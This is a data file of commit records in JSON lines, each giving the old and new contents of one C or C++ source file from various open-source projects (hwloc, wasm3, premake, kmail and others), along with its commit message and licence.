{"commit":"95d75ab83bf01bea87cc27af747e6da9c6c4b19d","old_file":"ProcessLauncher\/Util.h","new_file":"ProcessLauncher\/Util.h","old_contents":"#pragma once\n\n#include <type_traits>\n\nnamespace ugly\n{\n    template<typename T> constexpr const bool is_enum_flag = false;\n\n    template<typename T = typename std::enable_if<is_enum_flag<T>, T>::type>\n    class auto_bool\n    {\n    private:\n        T val_;\n    public:\n        constexpr auto_bool(T val) : val_(val) {}\n        constexpr operator T() const { return val_; }\n        constexpr explicit operator bool() const\n        {\n            return static_cast<std::underlying_type_t<T>>(val_) != 0;\n        }\n    };\n\n    template <typename T>\n    std::enable_if_t<is_enum_flag<T>, auto_bool<T>> operator&(T lhs, T rhs)\n    {\n        return static_cast<T>(\n            static_cast<typename std::underlying_type<T>::type>(lhs) &\n            static_cast<typename std::underlying_type<T>::type>(rhs));\n    }\n\n    template <typename T>\n    std::enable_if_t<is_enum_flag<T>, T> operator|(T lhs, T rhs)\n    {\n        return static_cast<T>(\n            static_cast<typename std::underlying_type<T>::type>(lhs) |\n            static_cast<typename std::underlying_type<T>::type>(rhs));\n    }\n}","new_contents":"#pragma once\n\n#include <type_traits>\n\nnamespace ugly\n{\n    template<typename T> constexpr const bool is_enum_flag = false;\n\n    template<typename T, typename = typename std::enable_if<is_enum_flag<T>>::type>\n    class auto_bool\n    {\n    private:\n        T val_;\n    public:\n        constexpr auto_bool(T val) : val_(val) {}\n        constexpr operator T() const { return val_; }\n        constexpr explicit operator bool() const\n        {\n            return static_cast<std::underlying_type_t<T>>(val_) != 0;\n        }\n    };\n\n    template <typename T>\n    std::enable_if_t<is_enum_flag<T>, auto_bool<T>> operator&(T lhs, T rhs)\n    {\n        return static_cast<T>(\n            static_cast<typename std::underlying_type<T>::type>(lhs) &\n            static_cast<typename std::underlying_type<T>::type>(rhs));\n    }\n\n    template <typename T>\n    std::enable_if_t<is_enum_flag<T>, T> operator|(T lhs, T rhs)\n    {\n        return static_cast<T>(\n            static_cast<typename std::underlying_type<T>::type>(lhs) |\n            static_cast<typename std::underlying_type<T>::type>(rhs));\n    }\n}","subject":"Fix bad template SFINAE declaration","message":"Fix bad template SFINAE declaration\n","lang":"C","license":"mit","repos":"Ilod\/ugly,Ilod\/ugly,Ilod\/ugly"}
{"commit":"11f5916306e74765f5142ddd326e54ed22346dd5","old_file":"kill_file_access.c","new_file":"kill_file_access.c","old_contents":"","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <dirent.h>\n#include <limits.h>\n\n\/**\n * kill processes which access descendants of given directory\n *\/\nint is_number(const char *s) \n{\n\tsize_t i, len = strlen(s);\n\tfor (i = 0; i < len; i++) {\n\t\tif (!isdigit(s[i]))\n\t\t\treturn 0;\n\t}\n\treturn 1;\n}\n\nvoid kill_processes(const char *dir)\n{\n\tDIR *par_pdir, *chl_pdir;\n\tstruct dirent *par_pdent, *chl_pdent; \n\tchar path[PATH_MAX];\n\n\tpar_pdir = opendir(\"\/proc\");\n\tif (par_pdir == NULL) {\n\t\tperror(\"opendir\");\n\t\treturn;\n\t}\n\n\t\/* using children of  \/proc\/pid\/fd, find out processes which accesses\n\t * given directory and kill thoses\n\t *\/\n\twhile (par_pdent = readdir(par_pdir)) {\n\t\tif (isdigit(par_pdent->d_name[0]) && \n\t\t\t((par_pdent->d_type == DT_DIR) || (par_pdent->d_type == DT_UNKNOWN))) {\n\t\t\tsnprintf(path, sizeof(path), \"\/proc\/%s\/fd\", par_pdent->d_name);\n\t\t\tchi_pdir = opendir(path);\n\t\t\tif (chl_pdir == NULL) {\n\t\t\t\tif (errno != EACCES || errno != ENOENT)\n\t\t\t\t\tperror(opendir);\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\twhile (chl_pdent = readdir(chl_pdir)) {\n\t\t\t}\t\t\n\t\t}\n\t}\n\t\n}\n\nint main(int argc, const char *argv[])\n{\n\tkill_processes(argv[1]);\n\treturn 0;\n}\n","subject":"Kill processes which access descendants of given directory","message":"Kill processes which access descendants of given directory\n\nSigned-off-by: Hyeoncheol Lee <38aaa2eac3dc574e617f8f2982b79e2233686085@gmail.com>\n","lang":"C","license":"mit","repos":"1982bom\/linux-practices"}
{"commit":"f3994034c767f5c181d09bdb08e395eb11dfe18e","old_file":"tests\/embedded\/main.c","new_file":"tests\/embedded\/main.c","old_contents":"\/*\n * Copyright © 2009 CNRS, INRIA, Université Bordeaux 1\n * Copyright © 2009 Cisco Systems, Inc.  All rights reserved.\n * See COPYING in top-level directory.\n *\/\n\n#include <hwloc.h>\n#include <stdio.h>\n\nint main(int argc, char *argv[])\n{\n    mytest_hwloc_topology_t topology;\n    unsigned depth;\n    hwloc_cpuset_t cpu_set;\n\n    \/* Just call a bunch of functions to see if we can link and run *\/\n\n    cpu_set = mytest_hwloc_cpuset_alloc();\n    mytest_hwloc_topology_init(&topology);\n    mytest_hwloc_topology_load(topology);\n    depth = mytest_hwloc_topology_get_depth(topology);\n    printf(\"Max depth: %u\\n\", depth);\n    mytest_hwloc_topology_destroy(topology);\n    mytest_hwloc_cpuset_free(cpu_set);\n\n    return 0;\n}\n","new_contents":"\/*\n * Copyright © 2009 CNRS, INRIA, Université Bordeaux 1\n * Copyright © 2009 Cisco Systems, Inc.  All rights reserved.\n * See COPYING in top-level directory.\n *\/\n\n#include <hwloc.h>\n#include <stdio.h>\n\nint main(int argc, char *argv[])\n{\n    mytest_hwloc_topology_t topology;\n    unsigned depth;\n    hwloc_cpuset_t cpu_set;\n\n    \/* Just call a bunch of functions to see if we can link and run *\/\n\n    printf(\"*** Test 1: cpuset alloc\\n\");\n    cpu_set = mytest_hwloc_cpuset_alloc();\n    printf(\"*** Test 2: topology init\\n\");\n    mytest_hwloc_topology_init(&topology);\n    printf(\"*** Test 3: topology load\\n\");\n    mytest_hwloc_topology_load(topology);\n    printf(\"*** Test 4: topology get depth\\n\");\n    depth = mytest_hwloc_topology_get_depth(topology);\n    printf(\"    Max depth: %u\\n\", depth);\n    printf(\"*** Test 5: topology destroy\\n\");\n    mytest_hwloc_topology_destroy(topology);\n    printf(\"*** Test 6: cpuset free\\n\");\n    mytest_hwloc_cpuset_free(cpu_set);\n\n    return 0;\n}\n","subject":"Add some more print statements to this test, just to help differentiate the output when debugging is enabled","message":"Add some more print statements to this test, just to help\ndifferentiate the output when debugging is enabled\n\n\ngit-svn-id: 14be032f8f42541b1a281b51ae8ea69814daf20e@1752 4b44e086-7f34-40ce-a3bd-00e031736276\n","lang":"C","license":"bsd-3-clause","repos":"BlueBrain\/hwloc,BlueBrain\/hwloc,BlueBrain\/hwloc,BlueBrain\/hwloc"}
{"commit":"d9ace0273fba4d7da6da20f36183c2b9bf1ad305","old_file":"libevmjit\/Common.h","new_file":"libevmjit\/Common.h","old_contents":"#pragma once\n\n#include <vector>\n#include <boost\/multiprecision\/cpp_int.hpp>\n\nnamespace dev\n{\nnamespace eth\n{\nnamespace jit\n{\n\nusing byte = uint8_t;\nusing bytes = std::vector<byte>;\nusing u256 = boost::multiprecision::uint256_t;\nusing bigint = boost::multiprecision::cpp_int;\n\nstruct NoteChannel {};\t\/\/ FIXME: Use some log library?\n\nenum class ReturnCode\n{\n\tStop = 0,\n\tReturn = 1,\n\tSuicide = 2,\n\n\tBadJumpDestination = 101,\n\tOutOfGas = 102,\n\tStackTooSmall = 103,\n\tBadInstruction = 104,\n\n\tLLVMConfigError = 201,\n\tLLVMCompileError = 202,\n\tLLVMLinkError = 203,\n};\n\n\/\/\/ Representation of 256-bit value binary compatible with LLVM i256\n\/\/ TODO: Replace with h256\nstruct i256\n{\n\tuint64_t a;\n\tuint64_t b;\n\tuint64_t c;\n\tuint64_t d;\n};\nstatic_assert(sizeof(i256) == 32, \"Wrong i265 size\");\n\n#define UNTESTED assert(false)\n\n}\n}\n}\n","new_contents":"#pragma once\n\n#include <vector>\n#include <boost\/multiprecision\/cpp_int.hpp>\n\nnamespace dev\n{\nnamespace eth\n{\nnamespace jit\n{\n\nusing byte = uint8_t;\nusing bytes = std::vector<byte>;\nusing u256 = boost::multiprecision::uint256_t;\nusing bigint = boost::multiprecision::cpp_int;\n\nstruct NoteChannel {};\t\/\/ FIXME: Use some log library?\n\nenum class ReturnCode\n{\n\tStop = 0,\n\tReturn = 1,\n\tSuicide = 2,\n\n\tBadJumpDestination = 101,\n\tOutOfGas = 102,\n\tStackTooSmall = 103,\n\tBadInstruction = 104,\n\n\tLLVMConfigError = 201,\n\tLLVMCompileError = 202,\n\tLLVMLinkError = 203,\n};\n\n\/\/\/ Representation of 256-bit value binary compatible with LLVM i256\n\/\/ TODO: Replace with h256\nstruct i256\n{\n\tuint64_t a = 0;\n\tuint64_t b = 0;\n\tuint64_t c = 0;\n\tuint64_t d = 0;\n};\nstatic_assert(sizeof(i256) == 32, \"Wrong i265 size\");\n\n#define UNTESTED assert(false)\n\n}\n}\n}\n","subject":"Fix some GCC initialization warnings","message":"Fix some GCC initialization warnings\n","lang":"C","license":"mit","repos":"ethereum\/evmjit,ethereum\/evmjit,ethereum\/evmjit"}
{"commit":"af65de668c8b6ab55e46e07ca5235feee23e86dc","old_file":"src\/GameState.h","new_file":"src\/GameState.h","old_contents":"\/******************************************************************************\n    GameState.h\n\n  Game State Management\n\n  Copyright (c) 2013 Jeffrey Carpenter\n\n  Portions Copyright (c) 2013 Fielding Johnston\n\n******************************************************************************\/\n#ifndef GAMEAPP_GAMESTATE_HEADERS\n#define GAMEAPP_GAMESTATE_HEADERS\n\n#include <iostream>\n#include <string>\n\n#include \"SDL.h\"\n\n#include \"SDLInput.h\"\n\n#include \"gamelib.h\"\n\n{\n  public:\n    virtual ~GameState();\n\n    virtual void Pause() = 0;\n    virtual void Resume() = 0;\n\n    virtual void Input ( void ) = 0;\n    virtual void Update ( void ) = 0;\n    virtual void Draw ( void ) = 0;\n\n  private:\n    \/\/ ...\n};\n\n#endif \/\/ GAMEAPP_GAMESTATE_HEADERS defined\n","new_contents":"\/******************************************************************************\n    GameState.h\n\n  Game State Management\n\n  Copyright (c) 2013 Jeffrey Carpenter\n\n  Portions Copyright (c) 2013 Fielding Johnston\n\n******************************************************************************\/\n#ifndef GAMEAPP_GAMESTATE_HEADERS\n#define GAMEAPP_GAMESTATE_HEADERS\n\n#include <iostream>\n#include <string>\n\n#include \"SDL.h\"\n\n#include \"SDLInput.h\"\n\n#include \"gamelib.h\"\n\n{\n  public:\n    virtual ~GameState();\n\n    virtual void Pause() = 0;\n    virtual void Resume() = 0;\n\n    virtual void HandleInput ( void ) = 0;\n    virtual void Update ( void ) = 0;\n    virtual void Draw ( void ) = 0;\n\n  private:\n    \/\/ ...\n};\n\n#endif \/\/ GAMEAPP_GAMESTATE_HEADERS defined\n","subject":"Rename of Input to HandleInput","message":"Rename of Input to HandleInput\n","lang":"C","license":"bsd-2-clause","repos":"i8degrees\/nomlib,i8degrees\/nomlib,i8degrees\/nomlib,i8degrees\/nomlib"}
{"commit":"6530ca82a95042e90d3cb6147472c8f9768dbfda","old_file":"nbip4.c","new_file":"nbip4.c","old_contents":"#define _BSD_SOURCE\n\n#include <stdio.h>\n\n#include <arpa\/inet.h>\n#include <netinet\/ip.h>\n\n#include \"config.h\"\n#include \"common.h\"\n\nvoid printpkt(void)\n{\n\tstruct ip *iphdr = (struct ip *) pkt;\n\n\tprintf(\"ip.version=%d \"\n\t\t\t\"ip.ihl=%d \"\n\t\t\t\"ip.tos=%02x \"\n\t\t\t\"ip.length=%d \"\n\t\t\t\"ip.id=%d \"\n\t\t\t\"ip.flags=%d%c%c \"\n\t\t\t\"ip.offset=%d \"\n\t\t\t\"ip.ttl=%d \"\n\t\t\t\"ip.protocol=%d \"\n\t\t\t\"ip.checksum=%04x \"\n\t\t\t\"ip.src=%s \",\n\t\t\tiphdr->ip_v,\n\t\t\tiphdr->ip_hl,\n\t\t\tiphdr->ip_tos,\n\t\t\tiphdr->ip_len,\n\t\t\tiphdr->ip_id,\n\t\t\tiphdr->ip_off & IP_RF,\n\t\t\tflag('d', iphdr->ip_off & IP_DF),\n\t\t\tflag('m', iphdr->ip_off & IP_MF),\n\t\t\tiphdr->ip_off & IP_OFFMASK,\n\t\t\tiphdr->ip_ttl,\n\t\t\tiphdr->ip_p,\n\t\t\tiphdr->ip_sum,\n\t\t\tinet_ntoa(iphdr->ip_src));\n\tprintf(\"ip.dst=%s \", inet_ntoa(iphdr->ip_dst));\n\tdumppkt(iphdr->ip_hl * 4);\n}\n","new_contents":"#define _BSD_SOURCE\n\n#include <stdio.h>\n\n#include <arpa\/inet.h>\n#include <netinet\/ip.h>\n\n#include \"config.h\"\n#include \"common.h\"\n\nvoid printpkt(void)\n{\n\tstruct ip *iphdr = (struct ip *) pkt;\n\n\tprintf(\"ip.version=%u \"\n\t\t\t\"ip.ihl=%u \"\n\t\t\t\"ip.tos=%02x \"\n\t\t\t\"ip.length=%u \"\n\t\t\t\"ip.id=%u \"\n\t\t\t\"ip.flags=%u%c%c \"\n\t\t\t\"ip.offset=%u \"\n\t\t\t\"ip.ttl=%u \"\n\t\t\t\"ip.protocol=%u \"\n\t\t\t\"ip.checksum=%04x \"\n\t\t\t\"ip.src=%s \",\n\t\t\tiphdr->ip_v,\n\t\t\tiphdr->ip_hl,\n\t\t\tiphdr->ip_tos,\n\t\t\tiphdr->ip_len,\n\t\t\tiphdr->ip_id,\n\t\t\tiphdr->ip_off & IP_RF,\n\t\t\tflag('d', iphdr->ip_off & IP_DF),\n\t\t\tflag('m', iphdr->ip_off & IP_MF),\n\t\t\tiphdr->ip_off & IP_OFFMASK,\n\t\t\tiphdr->ip_ttl,\n\t\t\tiphdr->ip_p,\n\t\t\tiphdr->ip_sum,\n\t\t\tinet_ntoa(iphdr->ip_src));\n\tprintf(\"ip.dst=%s \", inet_ntoa(iphdr->ip_dst));\n\tdumppkt(iphdr->ip_hl * 4);\n}\n","subject":"Change printf format %d -> %u","message":"Change printf format %d -> %u\n","lang":"C","license":"mit","repos":"grn\/netbox,grn\/netbox"}
{"commit":"8cb2fd424309fa6ff70cf00bfcedc4e66d3355c0","old_file":"platforms\/app_fuzz\/fuzzer.c","new_file":"platforms\/app_fuzz\/fuzzer.c","old_contents":"\/\/\n\/\/  Wasm3 - high performance WebAssembly interpreter written in C.\n\/\/\n\/\/  Copyright © 2019 Steven Massey, Volodymyr Shymanskyy.\n\/\/  All rights reserved.\n\/\/\n\n#include <stdint.h>\n#include <stddef.h>\n\n#include \"wasm3.h\"\n\n#define FATAL(...) __builtin_trap()\n\nint LLVMFuzzerTestOneInput(const uint8_t *data, size_t size)\n{\n    M3Result result = m3Err_none;\n\n    if (size < 8 || size > 256*1024) {\n        return 0;\n    }\n\n    IM3Environment env = m3_NewEnvironment ();\n    if (env) {\n        IM3Runtime runtime = m3_NewRuntime (env, 128, NULL);\n        if (runtime) {\n            IM3Module module = NULL;\n            result = m3_ParseModule (env, &module, data, size);\n            if (module) {\n                result = m3_LoadModule (runtime, module);\n                if (result == 0) {\n                    IM3Function f = NULL;\n                    result = m3_FindFunction (&f, runtime, \"fib\");\n                    if (f) {\n                        m3_CallV (f, 10);\n                    }\n                } else {\n                    m3_FreeModule (module);\n                }\n            }\n\n            m3_FreeRuntime(runtime);\n        }\n        m3_FreeEnvironment(env);\n    }\n\n    return 0;\n}\n","new_contents":"\/\/\n\/\/  Wasm3 - high performance WebAssembly interpreter written in C.\n\/\/\n\/\/  Copyright © 2019 Steven Massey, Volodymyr Shymanskyy.\n\/\/  All rights reserved.\n\/\/\n\n#include <stdint.h>\n#include <stddef.h>\n\n#include \"wasm3.h\"\n\n#define FATAL(...) __builtin_trap()\n\nint LLVMFuzzerTestOneInput(const uint8_t *data, size_t size)\n{\n    M3Result result = m3Err_none;\n\n    if (size < 8 || size > 256*1024) {\n        return 0;\n    }\n\n    IM3Environment env = m3_NewEnvironment ();\n    if (env) {\n        IM3Runtime runtime = m3_NewRuntime (env, 128, NULL);\n        if (runtime) {\n            IM3Module module = NULL;\n            result = m3_ParseModule (env, &module, data, size);\n            if (module) {\n                result = m3_LoadModule (runtime, module);\n                if (result == 0) {\n                    IM3Function f = NULL;\n                    result = m3_FindFunction (&f, runtime, \"fib\");\n                    \/* TODO:\n                    if (f) {\n                        m3_CallV (f, 10);\n                    }*\/\n                } else {\n                    m3_FreeModule (module);\n                }\n            }\n\n            m3_FreeRuntime(runtime);\n        }\n        m3_FreeEnvironment(env);\n    }\n\n    return 0;\n}\n","subject":"Disable function execution for now, to focus on parsing issues","message":"Disable function execution for now, to focus on parsing issues\n","lang":"C","license":"mit","repos":"wasm3\/wasm3,wasm3\/wasm3,wasm3\/wasm3,wasm3\/wasm3,wasm3\/wasm3,wasm3\/wasm3,wasm3\/wasm3"}
{"commit":"649f41482e6114d7bdd67afc311a0eea06cbdeaa","old_file":"samples\/Qt\/basic\/mythread.h","new_file":"samples\/Qt\/basic\/mythread.h","old_contents":"#ifndef MYTHREAD_H\n#define MYTHREAD_H\n\n#include <QThread>\n#include \"easylogging++.h\"\n\nclass MyThread : public QThread {\n  Q_OBJECT\n  public:\n    MyThread(int id) : threadId(id) {}\n  private:\n    int threadId;\n\n  protected:\n    void run() {\n      LINFO <<\"Writing from a thread \" << threadId;\n\n      LVERBOSE(2) << \"This is verbose level 2 logging from thread #\" << threadId;\n\n      \/\/ Following line will be logged only once from second running thread (which every runs second into\n      \/\/ this line because of interval 2)\n      LWARNING_EVERY_N(2) << \"This will be logged only once from thread who every reaches this line first. Currently running from thread #\" << threadId;\n\n      for (int i = 1; i <= 10; ++i) {\n          LVERBOSE_EVERY_N(2, 3) << \"Verbose level 3 log every two times. This is at \" << i << \" from thread #\" << threadId;\n      }\n\n      \/\/ Following line will be logged once with every thread because of interval 1 \n      LINFO_EVERY_N(1) << \"This interval log will be logged with every thread, this one is from thread #\" << threadId;\n\n      LINFO_IF(threadId == 2) << \"This log is only for thread 2 and is ran by thread #\" << threadId;\n\n      std::vector<std::string> myLoggers;\n      easyloggingpp::Loggers::getAllLogIdentifiers(myLoggers);\n      for (unsigned int i = 0; i < myLoggers.size(); ++i) {\n          std::cout << \"Logger ID [\" << myLoggers.at(i) << \"]\";\n      }\n      easyloggingpp::Configurations c;\n      c.parseFromText(\"*ALL:\\n\\nFORMAT = %level\");\n    }\n};\n#endif\n","new_contents":"#ifndef MYTHREAD_H\n#define MYTHREAD_H\n\n#include <QThread>\n#include \"easylogging++.h\"\n\nclass MyThread : public QThread {\n  Q_OBJECT\n  public:\n    MyThread(int id) : threadId(id) {}\n  private:\n    int threadId;\n\n  protected:\n    void run() {\n      LINFO <<\"Writing from a thread \" << threadId;\n\n      LVERBOSE(2) << \"This is verbose level 2 logging from thread #\" << threadId;\n\n      \/\/ Following line will be logged only once from second running thread (which every runs second into\n      \/\/ this line because of interval 2)\n      LWARNING_EVERY_N(2) << \"This will be logged only once from thread who every reaches this line first. Currently running from thread #\" << threadId;\n\n      for (int i = 1; i <= 10; ++i) {\n          LVERBOSE_EVERY_N(2, 3) << \"Verbose level 3 log every two times. This is at \" << i << \" from thread #\" << threadId;\n      }\n\n      \/\/ Following line will be logged once with every thread because of interval 1 \n      LINFO_EVERY_N(1) << \"This interval log will be logged with every thread, this one is from thread #\" << threadId;\n\n      LINFO_IF(threadId == 2) << \"This log is only for thread 2 and is ran by thread #\" << threadId;\n\n    }\n};\n#endif\n","subject":"Remove logger ids loop from sample","message":"Remove logger ids loop from sample\n","lang":"C","license":"mit","repos":"orchid-hybrid\/easyloggingpp,orchid-hybrid\/easyloggingpp,orchid-hybrid\/easyloggingpp"}
{"commit":"f932830991824596fcfd635bdc2d4a2d59284f13","old_file":"mem\/layout.h","new_file":"mem\/layout.h","old_contents":"","new_contents":"\/\/ Copyright 2022 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     https:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#pragma once\n\n#include <stddef.h>\n\n#include \"marker\/unsafe.h\"\n\nnamespace sus::mem::layout {\n\nnamespace __private {\n\ntemplate <class T>\nstruct layout_nonzero_tag final {\n  static constexpr bool has_field(...) { return false; }\n  static constexpr bool has_field(int)\n    requires(std::is_same_v<\n             decltype(std::declval<T>().SusUnsafeNonZeroIsNonZero()), bool>)\n  {\n    return true;\n  };\n\n  static constexpr bool is_non_zero(const T* t) {\n    return t->SusUnsafeNonZeroIsNonZero();\n  };\n  static constexpr void set_zero(T* t) { t->SusUnsafeNonZeroSetZero(); };\n};\n\n}  \/\/ namespace __private\n\ntemplate <class T>\nstruct nonzero_field {\n  static constexpr bool has_field =\n      __private::layout_nonzero_tag<T>::has_field(0);\n\n  static constexpr bool is_non_zero(::sus::marker::UnsafeFnMarker,\n                                    const T* t) noexcept {\n    return __private::layout_nonzero_tag<T>::is_non_zero(t);\n  }\n  static constexpr void set_zero(::sus::marker::UnsafeFnMarker, T* t) noexcept {\n    __private::layout_nonzero_tag<T>::set_zero(t);\n  }\n};\n\n}  \/\/ namespace sus::mem::layout\n\n\/\/\/ Mark a class field as never being zero (after a constructor has run, until\n\/\/\/ the destructor has completed).\n#define sus_class_nonzero_field(unsafe_fn, T, name)                   \\\n  static_assert(std::is_same_v<decltype(unsafe_fn),                   \\\n                               const ::sus::marker::UnsafeFnMarker>); \\\n  template <class SusOuterClassTypeForNonZeroField>                   \\\n  friend struct ::sus::mem::layout::__private::layout_nonzero_tag;    \\\n  constexpr inline bool SusUnsafeNonZeroIsNonZero() const noexcept {  \\\n    static_assert(std::same_as<decltype(*this), const T&>);           \\\n    return static_cast<bool>(name);                                   \\\n  }                                                                   \\\n  constexpr inline void SusUnsafeNonZeroSetZero() noexcept {          \\\n    name = static_cast<decltype(name)>(0u);                           \\\n  }                                                                   \\\n  static_assert(true)\n","subject":"Add tools to mark a field as never-non-zero while constructed","message":"Add tools to mark a field as never-non-zero while constructed\n","lang":"C","license":"apache-2.0","repos":"chromium\/subspace,chromium\/subspace"}
{"commit":"e5566d834616be80ef5caf4c4713421bdde2e1bb","old_file":"rpi3\/src\/gpio_switch.c","new_file":"rpi3\/src\/gpio_switch.c","old_contents":"","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <iostream>\n#include <errno.h>\n\nint main (int argc, char* argv[]){\n  if (argc < 2){\n\n        printf(\"Error, missing arguments\\n\");\n        printf(\"Convention: \\n\");\n        printf(\".\/gpio_switch pin value\\n\");\n        return EXIT_SUCCESS;\n\n  }else{\n        int valueFile;\n        char refPath[256];\n        sprintf(refPath, \"\/sys\/class\/gpio\/gpio%s\", argv[2]);\n        char valuePath[256];\n        sprintf(valuePath, \"%s\/value\", refPath);\n\n        if ((valueFile = open(valuePath)) < 0) {\n            if (errno == ENOENT){\n                int exportFile;\n                if ((exportFile = open(\"\/sys\/class\/gpio\/export\", O_WRONLY)) < 0){\n                    return EXIT_FAILURE;\n                } \n\n                write(exportFile, argv[1], sizeof(argv[1]));\n                close(exportFile);\n\n                char directionPath[256];\n                sprintf(directionPath, \"%s\/direction\", refPath);\n                int directionFile = open(directionPath, O_WRONLY);\n                char* direction = \"out\";\n                write(directionFile, direction, sizeof(direction));\n                close(directionFile);\n            \n            }else{\n                return EXIT_FAILURE;\n            }\n        }\n        \n        write(valuePath, argv[2], sizeof(argv[2]));\n        close(valueFile);\n  }\n}\n","subject":"Add GPIO Switch first implementation","message":"Add GPIO Switch first implementation\n","lang":"C","license":"mit","repos":"pblottiere\/dominus,pblottiere\/dominus"}
{"commit":"b6c2b3c712ab2b879b727fdb02dba169695de698","old_file":"src\/host\/os_isfile.c","new_file":"src\/host\/os_isfile.c","old_contents":"\/**\n * \\file   os_isfile.c\n * \\brief  Returns true if the given file exists on the file system.\n * \\author Copyright (c) 2002-2008 Jason Perkins and the Premake project\n *\/\n\n#include <sys\/stat.h>\n#include \"premake.h\"\n\n\nint os_isfile(lua_State* L)\n{\n\tconst char* filename = luaL_checkstring(L, 1);\n\tlua_pushboolean(L, do_isfile(filename));\n\treturn 1;\n}\n\n\nint do_isfile(const char* filename)\n{\n\tstruct stat buf;\n\tif (stat(filename, &buf) == 0)\n\t{\n\t\treturn ((buf.st_mode & S_IFDIR) == 0);\n\t}\n\telse\n\t{\n\t\treturn 0;\n\t}\n}\n","new_contents":"\/**\n * \\file   os_isfile.c\n * \\brief  Returns true if the given file exists on the file system.\n * \\author Copyright (c) 2002-2008 Jason Perkins and the Premake project\n *\/\n\n#include <sys\/stat.h>\n#include \"premake.h\"\n\n\nint os_isfile(lua_State* L)\n{\n\tconst char* filename = luaL_checkstring(L, 1);\n\tlua_pushboolean(L, do_isfile(filename));\n\treturn 1;\n}\n\n\nint do_isfile(const char* filename)\n{\n\tstruct stat buf;\n#if PLATFORM_WINDOWS\n\tDWORD attrib = GetFileAttributesA(filename);\n\tif (attrib != INVALID_FILE_ATTRIBUTES)\n\t{\n\t\treturn (attrib & FILE_ATTRIBUTE_DIRECTORY) == 0;\n\t}\n#else\n\tif (stat(filename, &buf) == 0)\n\t{\n\t\treturn ((buf.st_mode & S_IFDIR) == 0);\n\t}\n#endif\n\n\treturn 0;\n}\n","subject":"Fix do_isfile to support symbolic links on Windows.","message":"Fix do_isfile to support symbolic links on Windows.\n","lang":"C","license":"bsd-3-clause","repos":"mendsley\/premake-core,noresources\/premake-core,CodeAnxiety\/premake-core,bravnsgaard\/premake-core,starkos\/premake-core,bravnsgaard\/premake-core,mendsley\/premake-core,TurkeyMan\/premake-core,premake\/premake-core,noresources\/premake-core,resetnow\/premake-core,noresources\/premake-core,noresources\/premake-core,starkos\/premake-core,Blizzard\/premake-core,Blizzard\/premake-core,LORgames\/premake-core,mandersan\/premake-core,mandersan\/premake-core,tvandijck\/premake-core,dcourtois\/premake-core,dcourtois\/premake-core,soundsrc\/premake-core,aleksijuvani\/premake-core,Blizzard\/premake-core,sleepingwit\/premake-core,mandersan\/premake-core,LORgames\/premake-core,lizh06\/premake-core,LORgames\/premake-core,sleepingwit\/premake-core,soundsrc\/premake-core,premake\/premake-core,martin-traverse\/premake-core,LORgames\/premake-core,jstewart-amd\/premake-core,aleksijuvani\/premake-core,martin-traverse\/premake-core,Blizzard\/premake-core,starkos\/premake-core,sleepingwit\/premake-core,xriss\/premake-core,mendsley\/premake-core,mendsley\/premake-core,martin-traverse\/premake-core,starkos\/premake-core,starkos\/premake-core,starkos\/premake-core,Zefiros-Software\/premake-core,resetnow\/premake-core,xriss\/premake-core,jstewart-amd\/premake-core,tvandijck\/premake-core,jstewart-amd\/premake-core,noresources\/premake-core,noresources\/premake-core,martin-traverse\/premake-core,premake\/premake-core,xriss\/premake-core,jstewart-amd\/premake-core,resetnow\/premake-core,premake\/premake-core,dcourtois\/premake-core,lizh06\/premake-core,bravnsgaard\/premake-core,dcourtois\/premake-core,sleepingwit\/premake-core,soundsrc\/premake-core,tvandijck\/premake-core,aleksijuvani\/premake-core,aleksijuvani\/premake-core,mandersan\/premake-core,Zefiros-Software\/premake-core,Zefiros-Software\/premake-core,noresources\/premake-core,dcourtois\/premake-core,resetnow\/premake-core,bravnsgaard\/premake-core,premake\/premake-core,lizh06\/premake-core,tvandijck\/premake-core,jstewart-amd\/premake-core,mendsley\/premake-core,Zefiros-Software\/premake-core,CodeAnxiety\/premake-core,tvandijck\/premake-core,TurkeyMan\/premake-core,sleepingwit\/premake-core,CodeAnxiety\/premake-core,soundsrc\/premake-core,TurkeyMan\/premake-core,CodeAnxiety\/premake-core,Blizzard\/premake-core,dcourtois\/premake-core,bravnsgaard\/premake-core,starkos\/premake-core,CodeAnxiety\/premake-core,Zefiros-Software\/premake-core,TurkeyMan\/premake-core,LORgames\/premake-core,lizh06\/premake-core,resetnow\/premake-core,dcourtois\/premake-core,premake\/premake-core,aleksijuvani\/premake-core,mandersan\/premake-core,Blizzard\/premake-core,premake\/premake-core,TurkeyMan\/premake-core,xriss\/premake-core,xriss\/premake-core,soundsrc\/premake-core"}
{"commit":"b7ce10aacc06b17d1e47c6da0d00a570e8517566","old_file":"kmail\/kmversion.h","new_file":"kmail\/kmversion.h","old_contents":"\/\/ KMail Version Information\n\/\/\n#ifndef kmversion_h\n#define kmversion_h\n\n#define KMAIL_VERSION \"1.8.91\"\n\n#endif \/*kmversion_h*\/\n","new_contents":"\/\/ KMail Version Information\n\/\/\n#ifndef kmversion_h\n#define kmversion_h\n\n#define KMAIL_VERSION \"1.9.50\"\n\n#endif \/*kmversion_h*\/\n","subject":"Use a fresh version number for the trunk version","message":"Use a fresh version number for the trunk version\n\nsvn path=\/trunk\/KDE\/kdepim\/; revision=466318\n","lang":"C","license":"lgpl-2.1","repos":"lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi"}
